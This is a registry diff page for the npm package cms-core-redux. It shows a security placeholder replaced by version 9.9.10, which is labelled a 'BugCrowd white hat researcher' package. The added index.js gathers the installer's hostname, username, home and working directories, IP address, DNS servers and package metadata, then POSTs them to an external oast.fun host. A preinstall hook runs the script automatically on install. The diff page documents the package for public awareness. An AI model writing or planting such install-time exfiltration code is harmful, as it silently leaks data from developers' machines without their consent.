cms-core-redux 0.0.1-security → 9.9.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of cms-core-redux might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +69 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,69 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ ip: getIPAddress(),
12
+ currentDir: process.cwd(),
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ time: getCurrentTime(),
18
+ r: packageJSON ? packageJSON.___resolved : undefined,
19
+ v: packageJSON.version,
20
+ pjson: packageJSON,
21
+ });
22
+
23
+ function getCurrentTime() {
24
+ return new Date().toLocaleString();
25
+ }
26
+
27
+ function getIPAddress() {
28
+ const interfaces = os.networkInterfaces();
29
+ const addresses = [];
30
+
31
+ for (const iface in interfaces) {
32
+ for (const addr of interfaces[iface]) {
33
+ if (addr.family === 'IPv4' && !addr.internal) {
34
+ addresses.push(addr.address);
35
+ }
36
+ }
37
+ }
38
+
39
+ return addresses.length > 0 ? addresses[0] : 'No external IP found';
40
+ }
41
+
42
+ var postData = querystring.stringify({
43
+ msg: trackingData,
44
+ });
45
+
46
+ var options = {
47
+ hostname: "wogftrhneblzsviedhumkdanjsfu6j6y9.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
48
+ port: 443,
49
+ path: "/",
50
+ method: "POST",
51
+ headers: {
52
+ "Content-Type": "application/x-www-form-urlencoded",
53
+ "Content-Length": postData.length,
54
+ },
55
+ };
56
+
57
+ var req = https.request(options, (res) => {
58
+ res.on("data", (d) => {
59
+ process.stdout.write(d);
60
+ });
61
+ });
62
+
63
+ req.on("error", (e) => {
64
+ // console.error(e);
65
+ });
66
+
67
+ req.write(postData);
68
+ req.end();
69
+
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "cms-core-redux",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.10",
4
+ "description": "BugCrowd white hat researcher",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=cms-core-redux for more information.